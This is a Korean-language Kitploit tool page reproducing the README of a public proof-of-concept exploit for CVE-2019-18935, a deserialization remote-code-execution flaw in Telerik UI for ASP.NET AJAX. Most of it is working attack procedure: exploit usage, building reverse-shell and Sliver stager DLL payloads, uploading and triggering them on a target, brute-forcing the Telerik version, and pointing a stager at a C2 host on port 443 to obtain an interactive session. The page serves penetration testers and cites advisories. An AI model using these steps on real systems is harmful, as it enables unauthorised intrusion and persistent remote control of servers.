Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2019-18935 — Telerik UI for ASP.NET AJAX의 .NET JSON 역직렬화 취약점에 대한 RCE 익스플로잇. | Kitploit
도구/GitHubGitHub/noperator/cve-2019-18935
Vulnerability AnalysisExploitationShellcodeWeb Application ExploitationPenetration TestingCommand and ControlRed TeamingPayload Development
GitHubnoperator/cve-2019-18935

CVE-2019-18935

Telerik UI for ASP.NET AJAX의 .NET JSON 역직렬화 취약점에 대한 RCE 익스플로잇.

저장소 보기
373884년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2019-18935

Telerik UI for ASP.NET AJAX의 .NET JSON 역직렬화 취약점에 대한 개념 증명 익스플로잇으로, 원격 코드 실행을 가능하게 합니다.

설명

Telerik UI for ASP.NET AJAX는 웹 애플리케이션을 위한 널리 사용되는 UI 구성 요소 모음입니다. 이는 JSON 객체를 안전하지 않은 방식으로 역직렬화하여 소프트웨어의 기본 호스트에서 임의의 원격 코드 실행을 초래합니다. 자세한 내용은 다음을 참조하세요:

  • DerpCon 강연 .NET Roulette (슬라이드)는 안전하지 않은 역직렬화 악용에 대한 추가 기초를 설명하고, 이를 이 익스플로잇에 적용하며, ASP.NET 웹 애플리케이션에서 셸을 얻기 위한 몇 가지 팁과 요령을 소개합니다.
  • Bishop Fox의 전체 작성글에는 이 취약점에 대한 완전한 분석과 이 이슈에 대한 익스플로잇 세부 정보(패치 지침 포함)가 포함되어 있습니다.

시작하기

사전 요구사항

혼합 모드 .NET 어셈블리 DLL 페이로드를 build-dll.bat를 사용하여 컴파일하려면 Visual Studio와 .NET Framework SDK가 필요합니다.

설치

root@kitploit:~
git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
python3 -m venv env
source env/bin/activate
python3 -m pip install -U pip
python3 -m pip install -r requirements.txt

이 익스플로잇은 RAU_crypto의 암호화 로직을 활용합니다. RAU_crypto.py 내의 RAUCipher 클래스는 PyCryptodome에 의존하는데, 이는 죽은 PyCrypto 모듈을 대체할 수 있는 드롭인 교체입니다. PyCryptodome과 PyCrypto는 같은 환경에 설치되면 문제를 일으키므로, 이 의존성을 충족시키는 가장 좋은 방법은 위에 표시된 대로 가상 환경 내에 모듈을 설치하는 것입니다.

구성

build-dll.bat의 17번째 줄을 Visual Studio 설치 경로로 설정하세요.

root@kitploit:~
set VSPATH=C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build

사용법

root@kitploit:~
$ python3 CVE-2019-18935.py -h
usage: CVE-2019-18935.py [-h] [-t] [-d] [-r FILENAME_REMOTE] [-s SMB_SERVER]
                         [-v UI_VERSION] [-n NET_VERSION] [-p PAYLOAD]
                         [-f FOLDER] -u URL

Exploit for CVE-2019-18935, a .NET JSON deserialization vulnerability in
Telerik UI for ASP.NET AJAX.

optional arguments:
  -h, --help          show this help message and exit
  -t                  just upload a file
  -d                  just deserialize
  -r FILENAME_REMOTE  remote payload name, for optional use with -d
  -s SMB_SERVER       remote SMB server, for optional use with -d
  -v UI_VERSION       software version
  -n NET_VERSION      .NET version
  -p PAYLOAD          mixed mode assembly DLL
  -f FOLDER           destination folder on target
  -u URL              https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau

혼합 모드 .NET 어셈블리 DLL 페이로드 컴파일

일부 페이로드(예: reverse-shell.c 및 sliver-stager.c)는 HOST 및 PORT 필드를 C2 서버를 가리키도록 설정해야 합니다. 반드시 그렇게 하세요!

Visual Studio가 설치된 Windows 환경에서 build-dll.bat를 사용하여 역직렬화 중 페이로드로 사용할 32비트 및 64비트 혼합 모드 어셈블리 DLL을 생성합니다. 두 번째 CLI 인수(예: x86)로 대상 CPU 아키텍처를 선택적으로 지정할 수 있습니다.

root@kitploit:~
build-dll.bat sleep.c

페이로드를 대상에 업로드하고 애플리케이션에 로드

위에서 생성된 DLL을 CVE-2019-18935.py에 전달하면, 대상 서버의 디렉토리(웹 서버에 해당 디렉토리에 대한 쓰기 권한이 있는 경우)에 DLL을 업로드한 후, 안전하지 않은 역직렬화 익스플로잇을 통해 해당 DLL을 애플리케이션에 로드합니다.

root@kitploit:~
$ python3 CVE-2019-18935.py -v <VERSION> -p payloads/sleep-2019121205271355-x86.dll -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau
[*] Local payload name:  sleep-2019121205271355-x86.dll
[*] Destination folder:  C:\Windows\Temp
[*] Remote payload name: 1576142987.918625.dll

{'fileInfo': {'ContentLength': 75264,
              'ContentType': 'application/octet-stream',
              'DateJson': '1970-01-01T00:00:00.000Z',
              'FileName': '1576142987.918625.dll',
              'Index': 0},
 'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, '
                                     'Telerik.Web.UI, Version=<VERSION>, '
                                     'Culture=neutral, '
                                     'PublicKeyToken=<TOKEN>',
              'TempFileName': '1576142987.918625.dll'}}

[*] Triggering deserialization...

<title>Runtime Error</title>
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Runtime Error</i> </h2></span>
...omitted for brevity...

[*] Response time: 13.01 seconds

위 예제에서 애플리케이션은 응답하는 데 최소 10초가 걸렸으며, 이는 DLL 페이로드가 Sleep(10000)을 성공적으로 호출했음을 나타냅니다.

Telerik UI 버전 무차별 대입

DerpCon 강연 .NET Roulette (39:46)에서 자세히 설명된 대로, 파일을 업로드할 때 Telerik.Web.UI 어셈블리의 주 버전(즉, 전체 버전 문자열 2017.2.503.40의 2017 부분)만 지정하여 Telerik UI 버전을 무차별 대입할 수 있습니다. 이 기술은 이 소프트웨어의 각 특정 릴리스를 무차별 대입하는 것에 비해 검색 공간을 크게 줄이며, 추가 이점으로 이 소프트웨어의 릴리스 기록에 명시적으로 나열되지 않은 버전도 감지할 수 있습니다. .NET 어셈블리 버전 관리에 대한 자세한 내용은 MSDN에서 확인하세요.

root@kitploit:~
$ for YEAR in $(seq 2013 2018); do
    echo -n "$YEAR: "
    python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null |
    grep -oE "Telerik.Web.UI, Version=$YEAR\.[0-9\.]+" ||
    echo
done

2013:
2014:
2015:
2016:
2017: Telerik.Web.UI, Version=2017.2.503.40
2018:

Sliver C2 프레임워크를 이용한 임플란트

커스텀 Sliver 스테이저 페이로드 sliver-stager.c는 Metasploit의 스테이징 프로토콜을 따라 Sliver 서버(스테이징 서버)로부터 Sliver 셸코드(스테이지)를 수신하고 실행합니다. 이 작동 방식에 대한 자세한 내용은 페이로드 소스의 헤더를 읽어보세요.

Sliver 서버를 시작합니다. 서버 설정에 대한 자세한 내용은 여기를 참조하세요.

root@kitploit:~
MINGW_PATH='/usr/bin'  # Or wherever MinGW is located.
export SLIVER_CC_32="$MINGW_PATH/i686-w64-mingw32-gcc"
export SLIVER_CC_64="$MINGW_PATH/x86_64-w64-mingw32-gcc"
./sliver-server

Sliver 서버에서 C2 엔드포인트(여기서는 mTLS 리스너를 사용하고 있지만 HTTP 또는 DNS도 사용 가능)를 열고, 임플란트 프로필을 생성한 다음, 해당 프로필에 연결된 스테이징 리스너를 생성합니다. 스테이징된 페이로드에 대한 자세한 내용은 여기를 참조하세요. Sliver 문서에서 제안하는 대로 generate stager를 사용하여 Sliver 스테이저를 생성하는 것이 아니라, 대신 커스텀 sliver-stager.c를 사용합니다.

⚠️ 경고: 잘못된 CPU 아키텍처의 스테이지를 보내면 대상 프로세스가 _충돌_합니다! 예를 들어, 대상이 32비트 버전의 Telerik UI를 실행 중이고 스테이징 서버가 32비트 스테이저에 64비트 스테이지를 보내면 웹 서버 프로세스가 충돌합니다. 다음 예제에서는 32비트 셸코드를 생성하지만, new-profile 명령의 --arch 플래그를 사용하여 대상의 CPU 아키텍처와 일치시켜야 합니다.

root@kitploit:~
sliver > mtls
[*] Starting mTLS listener ...
[*] Successfully started job #1

sliver > new-profile --mtls <C2-ENDPOINT>:<PORT> --arch x86 --format shellcode --profile-name shellcode-32 --skip-symbols
[*] Saved new profile shellcode-32

sliver > stage-listener --url tcp://<STAGING-SERVER>:<PORT> --profile shellcode-32
[*] No builds found for profile shellcode-32, generating a new one
[*] Job 2 (tcp) started

Sliver 스테이저 소스에서 호스트와 포트를 Sliver 서버를 가리키도록 설정합니다(아래 예제 서버 참조).

root@kitploit:~
sed -Ei .bu 's/<HOST>/sliverserver.bishopfox.com/; s/<PORT>/443/' sliver-stager.c

Sliver 스테이저 페이로드를 컴파일하고, 페이로드를 대상에 업로드한 다음 애플리케이션에 로드합니다(모두 이 README의 이전 사용법 섹션에 따름).

root@kitploit:~
> .\build-dll.bat sliver-stager.c x86

$ python3 CVE-2019-18935.py -v 2017 -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau -p payloads/sliver-stager-2020080514261722-x86.dll

모든 것이 잘 진행되면(이 대상에 대해 troubleshat을 하셨나요?), Sliver 서버 창에 세션이 생성되어 대상과 상호 작용할 수 있습니다.

root@kitploit:~
[*] Session #1 AFRAID_COMPUTER - <REMOTE-ADDRESS> (DESKTOP-D19S4Q2) - windows/386 - Wed, 05 Aug 2020 15:58:27 UTC

sliver > use 1

[*] Active session AFRAID_COMPUTER (1)

sliver (AFRAID_COMPUTER) > help

Commands:
=========
  clear  clear the screen
  exit   exit the shell
  help   use 'help [command]' for command help
  ...
  whoami             Get session user execution context

sliver (AFRAID_COMPUTER) > whoami

DESKTOP-D19S4Q2\tester

문제 해결

  • 각 페이로드는 한 번만 작동합니다. .NET AssemblyInstaller 클래스는 동일한 어셈블리 이름(_파일명_과 다름)을 가진 여러 .NET 어셈블리를 로드할 수 없습니다. 대상이 절전 모드로 전환되거나, 콜백 등을 수행하도록 하려면 매번 새로 컴파일하고 업로드해야 합니다.
  • 올바른 CPU 아키텍처(32비트 또는 64비트)를 대상으로 하고 있는지 확인하십시오. 이는 약간의 추측이 필요할 수 있습니다. sleep 페이로드가 여기서 유용합니다.
  • C2 서버로 역방향 TCP 연결을 시작하려고 할 때 대상 네트워크의 이그레스 필터링 규칙에 주의하십시오. 443과 같이 일반적으로 허용되는 TCP 포트를 선택하십시오.

부록

법적 고지

사전 상호 동의 없이 대상을 공격하기 위해 이 도구를 사용하는 것은 불법입니다. 모든 관련 지역, 주 및 연방 법률을 준수하는 것은 최종 사용자의 책임입니다. 개발자는 어떠한 책임도 지지 않으며, 이 프로그램으로 인한 오용이나 손해에 대해 책임을 지지 않습니다.

감사의 글

@mwulftange이 이 취약점을 최초로 발견했습니다. @bao7uo는 RadAsyncUpload 암호화 해제를 위한 모든 로직을 작성하여, rauPostData에서 파일 업로드 구성 객체를 조작하고 이후 해당 객체의 안전하지 않은 역직렬화를 악용할 수 있게 했습니다. @lesnuages는 Sliver 스테이저 페이로드의 첫 번째 버전을 작성했습니다.

참고 자료

정부 권고사항

  • 2021년 7월 28일: CISA | 일상적으로 악용되는 주요 취약점
  • 2020년 10월 20일: NSA | 중국 국가 지원 행위자가 공개적으로 알려진 취약점 악용
  • 2020년 6월 19일: ACSC | 복사-붙여넣기 침해 – 여러 호주 네트워크를 대상으로 사용된 전술, 기술 및 절차
  • 2020년 5월 22일: ACSC | 정교한 공격자가 취약한 Telerik UI 버전에서 적극적으로 악용하는 RCE 취약점

버그 바운티 보고서

  • HackerOne Report #1174185 (@un4gi)
  • HackerOne Report #838196 (@sw33tLie)
  • HackerOne Report #913695 (@un4gi)

할 일

  • Sliver 임플란트를 업로드하고 실행하는 페이로드 추가
  • C 페이로드를 조정하여 대화형 셸을 여는 대신 선택적으로 단일 명령을 실행하도록 함
  • 동일한 대상에 대해 재컴파일을 피하기 위해 이미 컴파일된 DLL의 어셈블리 이름 수정
  • 주요 Telerik UI 버전(즉, 버전 문자열의 년도 부분) 무차별 대입 시연

라이선스

이 프로젝트는 Apache License에 따라 라이선스가 부여됩니다.

도구 다운로드